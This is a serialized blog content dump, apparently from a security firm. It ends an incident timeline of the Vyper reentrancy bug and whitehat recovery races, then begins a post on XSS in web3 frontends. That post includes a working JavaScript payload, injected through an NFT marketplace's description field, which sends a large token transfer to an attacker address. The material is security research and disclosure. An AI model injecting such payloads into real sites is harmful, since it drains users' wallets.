True\n",{"type":22,"tag":101,"props":34709,"children":34710},{"class":103,"line":398},[34711],{"type":22,"tag":101,"props":34712,"children":34713},{"emptyLinePlaceholder":15},[34714],{"type":27,"value":1581},{"type":22,"tag":101,"props":34716,"children":34717},{"class":103,"line":428},[34718],{"type":22,"tag":101,"props":34719,"children":34720},{"style":926},[34721],{"type":27,"value":34639},{"type":22,"tag":101,"props":34723,"children":34724},{"class":103,"line":997},[34725,34729,34733,34737],{"type":22,"tag":101,"props":34726,"children":34727},{"style":926},[34728],{"type":27,"value":34647},{"type":22,"tag":101,"props":34730,"children":34731},{"style":120},[34732],{"type":27,"value":980},{"type":22,"tag":101,"props":34734,"children":34735},{"style":6476},[34736],{"type":27,"value":34656},{"type":22,"tag":101,"props":34738,"children":34739},{"style":120},[34740],{"type":27,"value":2510},{"type":22,"tag":101,"props":34742,"children":34743},{"class":103,"line":1032},[34744,34748,34753,34757,34761,34765,34769],{"type":22,"tag":101,"props":34745,"children":34746},{"style":108},[34747],{"type":27,"value":34668},{"type":22,"tag":101,"props":34749,"children":34750},{"style":926},[34751],{"type":27,"value":34752}," test2",{"type":22,"tag":101,"props":34754,"children":34755},{"style":120},[34756],{"type":27,"value":980},{"type":22,"tag":101,"props":34758,"children":34759},{"style":126},[34760],{"type":27,"value":34682},{"type":22,"tag":101,"props":34762,"children":34763},{"style":120},[34764],{"type":27,"value":34687},{"type":22,"tag":101,"props":34766,"children":34767},{"style":114},[34768],{"type":27,"value":33682},{"type":22,"tag":101,"props":34770,"children":34771},{"style":120},[34772],{"type":27,"value":9611},{"type":22,"tag":101,"props":34774,"children":34775},{"class":103,"line":1063},[34776,34780],{"type":22,"tag":101,"props":34777,"children":34778},{"style":3595},[34779],{"type":27,"value":20986},{"type":22,"tag":101,"props":34781,"children":34782},{"style":108},[34783],{"type":27,"value":34784}," False\n",{"type":22,"tag":23,"props":34786,"children":34787},{},[34788],{"type":27,"value":34789},"This was not just another reentrancy bug.",{"type":22,"tag":23,"props":34791,"children":34792},{},[34793],{"type":27,"value":34794},"At this point, we realized just how impactful this would be. There was a blackout of information, and we deleted public messages on the nature of the vulnerability.",{"type":22,"tag":23,"props":34796,"children":34797},{},[34798,34803],{"type":22,"tag":9370,"props":34799,"children":34800},{},[34801],{"type":27,"value":34802},"14:37 UTC",{"type":27,"value":34804}," Wavey helped identify the vulnerable commit and affected versions. This was also confirmed by me and Charles by manually inspecting the Vyper compiler output.",{"type":22,"tag":23,"props":34806,"children":34807},{},[34808],{"type":22,"tag":7959,"props":34809,"children":34811},{"alt":7,"src":34810},"/posts/vyper-timeline/sstore.png",[],{"type":22,"tag":23,"props":34813,"children":34814},{},[34815],{"type":27,"value":34816},"It was a race with the hackers.",{"type":22,"tag":23,"props":34818,"children":34819},{},[34820],{"type":27,"value":34821},"Thankfully, people were still confusing this for read-only reentrancy. Taken from the \"Web3 Security Alerts\" channel.",{"type":22,"tag":604,"props":34823,"children":34824},{},[34825],{"type":22,"tag":23,"props":34826,"children":34827},{},[34828,34830],{"type":27,"value":34829},"Alchemix and Metronome DAO also been hacked due to this read-only reentrancy bug: ",{"type":22,"tag":80,"props":34831,"children":34834},{"href":34832,"rel":34833},"https://twitter.com/hexagate_/status/1685677801813217280",[84],[34835],{"type":27,"value":34832},{"type":22,"tag":23,"props":34837,"children":34838},{},[34839],{"type":27,"value":34840},"Michael identified alETH and msETH pools, which were also running 0.2.15, as being also potentially vulnerable.",{"type":22,"tag":23,"props":34842,"children":34843},{},[34844,34849,34850,34857],{"type":22,"tag":9370,"props":34845,"children":34846},{},[34847],{"type":27,"value":34848},"14:50 UTC",{"type":27,"value":2169},{"type":22,"tag":80,"props":34851,"children":34854},{"href":34852,"rel":34853},"https://etherscan.io/tx/0xc93eb238ff42632525e990119d3edc7775299a70b56e54d83ec4f53736400964",[84],[34855],{"type":27,"value":34856},"msETH/ETH was drained",{"type":27,"value":231},{"type":22,"tag":23,"props":34859,"children":34860},{},[34861,34866,34867,34874],{"type":22,"tag":9370,"props":34862,"children":34863},{},[34864],{"type":27,"value":34865},"15:34 UTC",{"type":27,"value":2169},{"type":22,"tag":80,"props":34868,"children":34871},{"href":34869,"rel":34870},"https://etherscan.io/tx/0xb676d789bb8b66a08105c844a49c2bcffb400e5c1cfabd4bc30cca4bff3c9801",[84],[34872],{"type":27,"value":34873},"alETH/ETH was drained",{"type":27,"value":231},{"type":22,"tag":23,"props":34876,"children":34877},{},[34878,34883,34885,34892],{"type":22,"tag":9370,"props":34879,"children":34880},{},[34881],{"type":27,"value":34882},"15:43 UTC",{"type":27,"value":34884}," We identified that ",{"type":22,"tag":80,"props":34886,"children":34889},{"href":34887,"rel":34888},"https://etherscan.io/address/0x8301AE4fc9c624d1D396cbDAa1ed877821D7C511#code",[84],[34890],{"type":27,"value":34891},"CRV/ETH was vulnerable",{"type":27,"value":34893},", compiled using Vyper version 3.0.0. It was critical that we kept the nature of affected contracts secret for as long as possible.",{"type":22,"tag":23,"props":34895,"children":34896},{},[34897,34902],{"type":22,"tag":9370,"props":34898,"children":34899},{},[34900],{"type":27,"value":34901},"16:11 UTC",{"type":27,"value":34903}," We began working on a whitehat exploit.",{"type":22,"tag":23,"props":34905,"children":34906},{},[34907,34909,34916],{"type":27,"value":34908},"Unfortunately, too many groups were doing independent research in parallel and rumors were spreading. At 16:44 UTC, we decided to release a ",{"type":22,"tag":80,"props":34910,"children":34913},{"href":34911,"rel":34912},"https://twitter.com/vyperlang/status/1685692973051498497",[84],[34914],{"type":27,"value":34915},"public statement on affected versions",{"type":27,"value":231},{"type":22,"tag":23,"props":34918,"children":34919},{},[34920],{"type":27,"value":34921},"By 18:32 UTC, we had a proof of concept exploit to be used in a potential whitehat recovery. bpak from Chainlight was also working on an exploit in parallel, and shared it at 19:06 UTC.",{"type":22,"tag":23,"props":34923,"children":34924},{},[34925,34927,34934],{"type":27,"value":34926},"Five minutes later at 19:11 UTC, ",{"type":22,"tag":80,"props":34928,"children":34931},{"href":34929,"rel":34930},"https://etherscan.io/tx/0x2e7dc8b2fb7e25fd00ed9565dcc0ad4546363171d5e00f196d48103983ae477c",[84],[34932],{"type":27,"value":34933},"somebody else stole the funds",{"type":27,"value":231},{"type":22,"tag":23,"props":34936,"children":34937},{},[34938],{"type":27,"value":34939},"The attack structure was largely different from either of our proofs of concept, so it was unlikely to have been a leak from our group. Regardless, this was pretty demoralizing.",{"type":22,"tag":23,"props":34941,"children":34942},{},[34943],{"type":27,"value":34944},"Nevertheless, there was more ground to cover.",{"type":22,"tag":23,"props":34946,"children":34947},{},[34948,34953],{"type":22,"tag":9370,"props":34949,"children":34950},{},[34951],{"type":27,"value":34952},"21:26 UTC",{"type":27,"value":34954}," Addison proposed an ambitious plan to recover the remaining assets in the CRVETH pool.",{"type":22,"tag":604,"props":34956,"children":34957},{},[34958],{"type":22,"tag":23,"props":34959,"children":34960},{},[34961,34963,34967,34969,34972,34974,34977,34979],{"type":27,"value":34962},"if you send like 30k crv to the crv/eth pool ",{"type":22,"tag":34964,"props":34965,"children":34966},"br",{},[],{"type":27,"value":34968},"\nyou can then update admin fee ",{"type":22,"tag":34964,"props":34970,"children":34971},{},[],{"type":27,"value":34973},"\nand then the crv/eth rate is like .15 eth per crv ",{"type":22,"tag":34964,"props":34975,"children":34976},{},[],{"type":27,"value":34978},"\nso you can basically drain whole pool for few hundred K crv ",{"type":22,"tag":34964,"props":34980,"children":34981},{},[],{"type":22,"tag":23,"props":34983,"children":34984},{},[34985,34990],{"type":22,"tag":9370,"props":34986,"children":34987},{},[34988],{"type":27,"value":34989},"21:52 UTC",{"type":27,"value":34991}," bpak had produced a working proof of concept which could recover 3100 ETH.",{"type":22,"tag":23,"props":34993,"children":34994},{},[34995,34997,35004,35006,35013,35021],{"type":27,"value":34996},"Ten minutes later at 22:02 UTC, we were beaten again. By some freak concidence, the ",{"type":22,"tag":80,"props":34998,"children":35001},{"href":34999,"rel":35000},"https://etherscan.io/address/0x8c73d39b2da2dd1a10cc16502bc7c8d768ec74c9",[84],[35002],{"type":27,"value":35003},"CRV admin fee bot",{"type":27,"value":35005}," had claimed fees and ",{"type":22,"tag":80,"props":35007,"children":35010},{"href":35008,"rel":35009},"https://etherscan.io/tx/0xcd99fadd7e28a42a063e07d9d86f67c88e10a7afe5921bd28cd1124924ae2052",[84],[35011],{"type":27,"value":35012},"the pool was drained",{"type":22,"tag":6802,"props":35014,"children":35015},{},[35016],{"type":22,"tag":80,"props":35017,"children":35019},{"href":6807,"ariaDescribedBy":35018,"dataFootnoteRef":7,"id":6810},[6809],[35020],{"type":27,"value":6813},{"type":27,"value":231},{"type":22,"tag":53,"props":35023,"children":35025},{"id":35024},"blame",[35026],{"type":27,"value":35027},"Blame",{"type":22,"tag":23,"props":35029,"children":35030},{},[35031,35035],{"type":22,"tag":6961,"props":35032,"children":35033},{},[35034],{"type":27,"value":35027},{"type":27,"value":35036}," is a strong word. It's not productive to point fingers. At the same time, I think it's useful to think about what could have went better.",{"type":22,"tag":1760,"props":35038,"children":35040},{"id":35039},"races",[35041],{"type":27,"value":35042},"Races",{"type":22,"tag":23,"props":35044,"children":35045},{},[35046],{"type":27,"value":35047},"In both cases, whitehat efforts were beaten by less than half an hour. Sometimes every second really does count.",{"type":22,"tag":23,"props":35049,"children":35050},{},[35051],{"type":27,"value":35052},"There likely could have been better preparation and resources for executing on these attacks. At the same time, this seems like a double-edged sword. Is it really a good idea to aggregate information related how to execute a hack? Who should we trust?",{"type":22,"tag":23,"props":35054,"children":35055},{},[35056],{"type":27,"value":35057},"On the other hand, I think the process was quite efficient. We went from initial suspicions to identifying vulnerable variants in 2 hours and 4 minutes.",{"type":22,"tag":1760,"props":35059,"children":35061},{"id":35060},"information-leakage",[35062],{"type":27,"value":35063},"Information Leakage",{"type":22,"tag":23,"props":35065,"children":35066},{},[35067],{"type":27,"value":35068},"I was both an auditor and a whitehat.",{"type":22,"tag":23,"props":35070,"children":35071},{},[35072,35074,35081],{"type":27,"value":35073},"There's a strong culture of publishing in auditing. We're paid for technical thought leadership and deep understanding of vulnerabilities. One way to demonstrate this is ",{"type":22,"tag":80,"props":35075,"children":35078},{"href":35076,"rel":35077},"https://twitter.com/osec_io/status/1579969927020412929",[84],[35079],{"type":27,"value":35080},"by publishing the \"scoop\"",{"type":27,"value":35082}," on hacks in the wild. Researchers cost a lot and the return on investment is publicity.",{"type":22,"tag":23,"props":35084,"children":35085},{},[35086],{"type":27,"value":35087},"On the other hand, there's a compelling argument that early disclosure of the affected versions had a material impact on the whitehat recovery.",{"type":22,"tag":23,"props":35089,"children":35090},{},[35091],{"type":27,"value":35092},"Half an hour more could have saved $18M.",{"type":22,"tag":23,"props":35094,"children":35095},{},[35096],{"type":27,"value":35097},"Auditors don't pay for externalities created by their reporting. Instead, they get rewarded with likes, retweets, and publicity. Seems like a hard problem.",{"type":22,"tag":53,"props":35099,"children":35101},{"id":35100},"next-steps",[35102],{"type":27,"value":35103},"Next Steps",{"type":22,"tag":23,"props":35105,"children":35106},{},[35107],{"type":27,"value":35108},"I disagree with takes like \"we need formal verification to solve this\". This bug could have been caught with a unit test. Formal verification is very useful for many bug classes, but I'm not convinced it's as useful for relatively simple, non-optimizing compilers.",{"type":22,"tag":23,"props":35110,"children":35111},{},[35112,35114,35121],{"type":27,"value":35113},"It's important to note that this bug ",{"type":22,"tag":80,"props":35115,"children":35118},{"href":35116,"rel":35117},"https://twitter.com/real_philogy/status/1685948253139857409",[84],[35119],{"type":27,"value":35120},"was patched since November 2021",{"type":27,"value":231},{"type":22,"tag":604,"props":35123,"children":35124},{},[35125],{"type":22,"tag":23,"props":35126,"children":35127},{},[35128,35130,35135,35136,35139,35141,35146],{"type":27,"value":35129},"I think this Vyper 0day is less about the skill of the Vyper team or the language itself but more about ",{"type":22,"tag":6961,"props":35131,"children":35132},{},[35133],{"type":27,"value":35134},"processes",{"type":27,"value":3415},{"type":22,"tag":34964,"props":35137,"children":35138},{},[],{"type":27,"value":35140},"\nThe bug was a fixed many versions of Vyper ago, the actual oversight was not realizing the potential impact to projects at the time it ",{"type":22,"tag":6961,"props":35142,"children":35143},{},[35144],{"type":27,"value":35145},"was",{"type":27,"value":35147}," fixed.",{"type":22,"tag":23,"props":35149,"children":35150},{},[35151],{"type":27,"value":35152},"Unfortunately, public goods get easily forgotten. With immutable contracts, projects can have implicit dependencies on code written years ago. Protocol developers and security experts should stay up to date on security developments across the entire execution stack.",{"type":22,"tag":6815,"props":35154,"children":35156},{"className":35155,"dataFootnotes":7},[6818],[35157,35162],{"type":22,"tag":53,"props":35158,"children":35160},{"className":35159,"id":6809},[6823],[35161],{"type":27,"value":6826},{"type":22,"tag":6828,"props":35163,"children":35164},{},[35165],{"type":22,"tag":6832,"props":35166,"children":35167},{"id":6834},[35168,35170],{"type":27,"value":35169},"Thankfully, these funds were later returned. ",{"type":22,"tag":80,"props":35171,"children":35173},{"href":6883,"ariaLabel":6884,"className":35172,"dataFootnoteBackref":7},[6886],[35174],{"type":27,"value":6889},{"type":22,"tag":6891,"props":35176,"children":35177},{},[35178],{"type":27,"value":6895},{"title":7,"searchDepth":157,"depth":157,"links":35180},[35181,35182,35186,35187],{"id":34456,"depth":157,"text":34459},{"id":35024,"depth":157,"text":35027,"children":35183},[35184,35185],{"id":35039,"depth":182,"text":35042},{"id":35060,"depth":182,"text":35063},{"id":35100,"depth":157,"text":35103},{"id":6809,"depth":157,"text":6826},"content:blog:2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline.md","blog/2023-08-01-vyper-timeline",{"_path":35192,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":35193,"description":35194,"author":35195,"image":35198,"date":35200,"isFeatured":15,"tags":35201,"onBlogPage":15,"body":35204,"_type":6912,"_id":39415,"_source":6914,"_file":39416,"_stem":39417,"_extension":6917},"/blog/2023-08-11-web2-bug-repellant-instructions","Web2 Bug Repellant Instructions","An analysis of security risks that don’t get enough attention - web2 bugs in web3 apps. We take a deep and practical look at vulnerabilities across various applications.",[35196,35197],"caue","bruno",{"src":35199,"height":17626,"width":17626},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[35202,35203],"nft-marketplaces","xss",{"type":19,"children":35205,"toc":39398},[35206,35210,35215,35219,35224,35229,35234,35250,35256,35269,35291,35298,35303,35310,35315,35321,35326,35331,35336,35341,35352,35357,36326,36336,36348,36355,36360,37180,37185,37190,37195,37200,37984,37989,38071,38076,38145,38151,38156,38161,38388,38401,38406,38411,38416,38423,38428,38435,38441,38446,38451,38456,38775,38780,38786,38802,38808,38813,38818,38828,38833,38838,38847,38852,38858,38874,38887,38892,38897,38917,38924,38929,38936,38945,38950,38971,39024,39029,39080,39094,39099,39113,39228,39251,39335,39358,39363,39368,39373,39378,39383,39389,39394],{"type":22,"tag":53,"props":35207,"children":35208},{"id":33014},[35209],{"type":27,"value":33017},{"type":22,"tag":23,"props":35211,"children":35212},{},[35213],{"type":27,"value":35214},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":22,"tag":1760,"props":35216,"children":35217},{"id":6968},[35218],{"type":27,"value":6971},{"type":22,"tag":23,"props":35220,"children":35221},{},[35222],{"type":27,"value":35223},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":22,"tag":23,"props":35225,"children":35226},{},[35227],{"type":27,"value":35228},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":22,"tag":53,"props":35230,"children":35231},{"id":35203},[35232],{"type":27,"value":35233},"XSS",{"type":22,"tag":23,"props":35235,"children":35236},{},[35237],{"type":22,"tag":6961,"props":35238,"children":35239},{},[35240,35242,35249],{"type":27,"value":35241},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":22,"tag":80,"props":35243,"children":35246},{"href":35244,"rel":35245},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[84],[35247],{"type":27,"value":35248},"even explain it to myself",{"type":27,"value":231},{"type":22,"tag":1760,"props":35251,"children":35253},{"id":35252},"managing-metadata",[35254],{"type":27,"value":35255},"Managing Metadata",{"type":22,"tag":23,"props":35257,"children":35258},{},[35259,35261,35268],{"type":27,"value":35260},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":22,"tag":80,"props":35262,"children":35265},{"href":35263,"rel":35264},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[84],[35266],{"type":27,"value":35267},"payloads",{"type":27,"value":231},{"type":22,"tag":23,"props":35270,"children":35271},{},[35272,35274,35281,35283,35289],{"type":27,"value":35273},"We showcase this vulnerability in the ",{"type":22,"tag":80,"props":35275,"children":35278},{"href":35276,"rel":35277},"https://rocki.com/",[84],[35279],{"type":27,"value":35280},"Rocki Marketplace",{"type":27,"value":35282},". The ",{"type":22,"tag":30,"props":35284,"children":35286},{"className":35285},[],[35287],{"type":27,"value":35288},"artistDescription",{"type":27,"value":35290}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":22,"tag":23,"props":35292,"children":35293},{},[35294],{"type":22,"tag":7959,"props":35295,"children":35297},{"alt":7,"src":35296},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":22,"tag":23,"props":35299,"children":35300},{},[35301],{"type":27,"value":35302},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":22,"tag":23,"props":35304,"children":35305},{},[35306],{"type":22,"tag":7959,"props":35307,"children":35309},{"alt":7,"src":35308},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":22,"tag":23,"props":35311,"children":35312},{},[35313],{"type":27,"value":35314},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":22,"tag":1760,"props":35316,"children":35318},{"id":35317},"wheres-my-wallet",[35319],{"type":27,"value":35320},"Where's My Wallet",{"type":22,"tag":23,"props":35322,"children":35323},{},[35324],{"type":27,"value":35325},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":22,"tag":23,"props":35327,"children":35328},{},[35329],{"type":27,"value":35330},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":22,"tag":23,"props":35332,"children":35333},{},[35334],{"type":27,"value":35335},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":22,"tag":23,"props":35337,"children":35338},{},[35339],{"type":27,"value":35340},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":22,"tag":35342,"props":35343,"children":35345},"div",{"style":35344},"display:flex; align-items:center; flex-direction:column;",[35346],{"type":22,"tag":7959,"props":35347,"children":35351},{"src":35348,"alt":35349,"style":35350},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":22,"tag":23,"props":35353,"children":35354},{},[35355],{"type":27,"value":35356},"And here we can find the code used to achieve it :",{"type":22,"tag":91,"props":35358,"children":35362},{"className":35359,"code":35360,"language":35361,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n if (typeof window.ethereum === 'undefined') {\n console.error('Please install MetaMask to use this feature.');\n } else {\n ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n const fromAddress = accounts[0];\n const attackerAddress = '0x0000000000000000000000000000000000000000';\n const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n let tokenAbi = [\n {\n constant: false,\n inputs: [\n {\n name: '_to',\n type: 'address',\n },\n {\n name: '_value',\n type: 'uint256',\n },\n ],\n name: 'transfer',\n outputs: [\n {\n name: '',\n type: 'bool',\n },\n ],\n type: 'function',\n },\n ];\n\n const web3 = new Web3(window.ethereum);\n\n const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n const transactionObject = {\n from: fromAddress,\n to: contractAddress,\n data: tokenContract.methods\n .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n .encodeABI(),\n };\n\n web3.eth.sendTransaction(transactionObject);\n });\n }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[35363],{"type":22,"tag":30,"props":35364,"children":35365},{"__ignoreMap":7},[35366,35383,35428,35457,35473,35536,35571,35596,35621,35628,35648,35656,35672,35684,35692,35709,35726,35734,35741,35757,35773,35780,35788,35805,35817,35824,35840,35856,35863,35870,35887,35894,35902,35909,35956,35963,36027,36034,36054,36070,36086,36107,36178,36194,36201,36208,36246,36254,36261,36268,36275,36296],{"type":22,"tag":101,"props":35367,"children":35368},{"class":103,"line":104},[35369,35374,35379],{"type":22,"tag":101,"props":35370,"children":35371},{"style":108},[35372],{"type":27,"value":35373},"function",{"type":22,"tag":101,"props":35375,"children":35376},{"style":926},[35377],{"type":27,"value":35378}," request",{"type":22,"tag":101,"props":35380,"children":35381},{"style":120},[35382],{"type":27,"value":19734},{"type":22,"tag":101,"props":35384,"children":35385},{"class":103,"line":157},[35386,35391,35395,35400,35405,35409,35414,35419,35424],{"type":22,"tag":101,"props":35387,"children":35388},{"style":3595},[35389],{"type":27,"value":35390}," if",{"type":22,"tag":101,"props":35392,"children":35393},{"style":120},[35394],{"type":27,"value":3603},{"type":22,"tag":101,"props":35396,"children":35397},{"style":108},[35398],{"type":27,"value":35399},"typeof",{"type":22,"tag":101,"props":35401,"children":35402},{"style":126},[35403],{"type":27,"value":35404}," window",{"type":22,"tag":101,"props":35406,"children":35407},{"style":120},[35408],{"type":27,"value":231},{"type":22,"tag":101,"props":35410,"children":35411},{"style":126},[35412],{"type":27,"value":35413},"ethereum",{"type":22,"tag":101,"props":35415,"children":35416},{"style":166},[35417],{"type":27,"value":35418}," ===",{"type":22,"tag":101,"props":35420,"children":35421},{"style":6476},[35422],{"type":27,"value":35423}," 'undefined'",{"type":22,"tag":101,"props":35425,"children":35426},{"style":120},[35427],{"type":27,"value":1463},{"type":22,"tag":101,"props":35429,"children":35430},{"class":103,"line":182},[35431,35436,35440,35444,35448,35453],{"type":22,"tag":101,"props":35432,"children":35433},{"style":126},[35434],{"type":27,"value":35435}," console",{"type":22,"tag":101,"props":35437,"children":35438},{"style":120},[35439],{"type":27,"value":231},{"type":22,"tag":101,"props":35441,"children":35442},{"style":926},[35443],{"type":27,"value":18865},{"type":22,"tag":101,"props":35445,"children":35446},{"style":120},[35447],{"type":27,"value":980},{"type":22,"tag":101,"props":35449,"children":35450},{"style":6476},[35451],{"type":27,"value":35452},"'Please install MetaMask to use this feature.'",{"type":22,"tag":101,"props":35454,"children":35455},{"style":120},[35456],{"type":27,"value":994},{"type":22,"tag":101,"props":35458,"children":35459},{"class":103,"line":367},[35460,35465,35469],{"type":22,"tag":101,"props":35461,"children":35462},{"style":120},[35463],{"type":27,"value":35464}," } ",{"type":22,"tag":101,"props":35466,"children":35467},{"style":3595},[35468],{"type":27,"value":7354},{"type":22,"tag":101,"props":35470,"children":35471},{"style":120},[35472],{"type":27,"value":154},{"type":22,"tag":101,"props":35474,"children":35475},{"class":103,"line":398},[35476,35481,35485,35490,35495,35500,35505,35510,35515,35520,35524,35528,35532],{"type":22,"tag":101,"props":35477,"children":35478},{"style":126},[35479],{"type":27,"value":35480}," ethereum",{"type":22,"tag":101,"props":35482,"children":35483},{"style":120},[35484],{"type":27,"value":231},{"type":22,"tag":101,"props":35486,"children":35487},{"style":926},[35488],{"type":27,"value":35489},"request",{"type":22,"tag":101,"props":35491,"children":35492},{"style":120},[35493],{"type":27,"value":35494},"({ ",{"type":22,"tag":101,"props":35496,"children":35497},{"style":126},[35498],{"type":27,"value":35499},"method:",{"type":22,"tag":101,"props":35501,"children":35502},{"style":6476},[35503],{"type":27,"value":35504}," 'eth_requestAccounts'",{"type":22,"tag":101,"props":35506,"children":35507},{"style":120},[35508],{"type":27,"value":35509}," }).",{"type":22,"tag":101,"props":35511,"children":35512},{"style":926},[35513],{"type":27,"value":35514},"then",{"type":22,"tag":101,"props":35516,"children":35517},{"style":120},[35518],{"type":27,"value":35519},"((",{"type":22,"tag":101,"props":35521,"children":35522},{"style":126},[35523],{"type":27,"value":18677},{"type":22,"tag":101,"props":35525,"children":35526},{"style":120},[35527],{"type":27,"value":901},{"type":22,"tag":101,"props":35529,"children":35530},{"style":108},[35531],{"type":27,"value":18823},{"type":22,"tag":101,"props":35533,"children":35534},{"style":120},[35535],{"type":27,"value":154},{"type":22,"tag":101,"props":35537,"children":35538},{"class":103,"line":428},[35539,35544,35549,35553,35558,35562,35566],{"type":22,"tag":101,"props":35540,"children":35541},{"style":108},[35542],{"type":27,"value":35543}," const",{"type":22,"tag":101,"props":35545,"children":35546},{"style":126},[35547],{"type":27,"value":35548}," fromAddress",{"type":22,"tag":101,"props":35550,"children":35551},{"style":166},[35552],{"type":27,"value":960},{"type":22,"tag":101,"props":35554,"children":35555},{"style":126},[35556],{"type":27,"value":35557}," accounts",{"type":22,"tag":101,"props":35559,"children":35560},{"style":120},[35561],{"type":27,"value":2414},{"type":22,"tag":101,"props":35563,"children":35564},{"style":1544},[35565],{"type":27,"value":8065},{"type":22,"tag":101,"props":35567,"children":35568},{"style":120},[35569],{"type":27,"value":35570},"];\n",{"type":22,"tag":101,"props":35572,"children":35573},{"class":103,"line":997},[35574,35578,35583,35587,35592],{"type":22,"tag":101,"props":35575,"children":35576},{"style":108},[35577],{"type":27,"value":35543},{"type":22,"tag":101,"props":35579,"children":35580},{"style":126},[35581],{"type":27,"value":35582}," attackerAddress",{"type":22,"tag":101,"props":35584,"children":35585},{"style":166},[35586],{"type":27,"value":960},{"type":22,"tag":101,"props":35588,"children":35589},{"style":6476},[35590],{"type":27,"value":35591}," '0x0000000000000000000000000000000000000000'",{"type":22,"tag":101,"props":35593,"children":35594},{"style":120},[35595],{"type":27,"value":1520},{"type":22,"tag":101,"props":35597,"children":35598},{"class":103,"line":1032},[35599,35603,35608,35612,35617],{"type":22,"tag":101,"props":35600,"children":35601},{"style":108},[35602],{"type":27,"value":35543},{"type":22,"tag":101,"props":35604,"children":35605},{"style":126},[35606],{"type":27,"value":35607}," contractAddress",{"type":22,"tag":101,"props":35609,"children":35610},{"style":166},[35611],{"type":27,"value":960},{"type":22,"tag":101,"props":35613,"children":35614},{"style":6476},[35615],{"type":27,"value":35616}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":22,"tag":101,"props":35618,"children":35619},{"style":120},[35620],{"type":27,"value":1520},{"type":22,"tag":101,"props":35622,"children":35623},{"class":103,"line":1063},[35624],{"type":22,"tag":101,"props":35625,"children":35626},{"emptyLinePlaceholder":15},[35627],{"type":27,"value":1581},{"type":22,"tag":101,"props":35629,"children":35630},{"class":103,"line":1071},[35631,35635,35640,35644],{"type":22,"tag":101,"props":35632,"children":35633},{"style":108},[35634],{"type":27,"value":12085},{"type":22,"tag":101,"props":35636,"children":35637},{"style":126},[35638],{"type":27,"value":35639}," tokenAbi",{"type":22,"tag":101,"props":35641,"children":35642},{"style":166},[35643],{"type":27,"value":960},{"type":22,"tag":101,"props":35645,"children":35646},{"style":120},[35647],{"type":27,"value":29619},{"type":22,"tag":101,"props":35649,"children":35650},{"class":103,"line":1110},[35651],{"type":22,"tag":101,"props":35652,"children":35653},{"style":120},[35654],{"type":27,"value":35655}," {\n",{"type":22,"tag":101,"props":35657,"children":35658},{"class":103,"line":1118},[35659,35664,35668],{"type":22,"tag":101,"props":35660,"children":35661},{"style":126},[35662],{"type":27,"value":35663}," constant:",{"type":22,"tag":101,"props":35665,"children":35666},{"style":108},[35667],{"type":27,"value":13065},{"type":22,"tag":101,"props":35669,"children":35670},{"style":120},[35671],{"type":27,"value":179},{"type":22,"tag":101,"props":35673,"children":35674},{"class":103,"line":1158},[35675,35680],{"type":22,"tag":101,"props":35676,"children":35677},{"style":126},[35678],{"type":27,"value":35679}," inputs:",{"type":22,"tag":101,"props":35681,"children":35682},{"style":120},[35683],{"type":27,"value":29619},{"type":22,"tag":101,"props":35685,"children":35686},{"class":103,"line":1166},[35687],{"type":22,"tag":101,"props":35688,"children":35689},{"style":120},[35690],{"type":27,"value":35691}," {\n",{"type":22,"tag":101,"props":35693,"children":35694},{"class":103,"line":1215},[35695,35700,35705],{"type":22,"tag":101,"props":35696,"children":35697},{"style":126},[35698],{"type":27,"value":35699}," name:",{"type":22,"tag":101,"props":35701,"children":35702},{"style":6476},[35703],{"type":27,"value":35704}," '_to'",{"type":22,"tag":101,"props":35706,"children":35707},{"style":120},[35708],{"type":27,"value":179},{"type":22,"tag":101,"props":35710,"children":35711},{"class":103,"line":2425},[35712,35717,35722],{"type":22,"tag":101,"props":35713,"children":35714},{"style":126},[35715],{"type":27,"value":35716}," type:",{"type":22,"tag":101,"props":35718,"children":35719},{"style":6476},[35720],{"type":27,"value":35721}," 'address'",{"type":22,"tag":101,"props":35723,"children":35724},{"style":120},[35725],{"type":27,"value":179},{"type":22,"tag":101,"props":35727,"children":35728},{"class":103,"line":5417},[35729],{"type":22,"tag":101,"props":35730,"children":35731},{"style":120},[35732],{"type":27,"value":35733}," 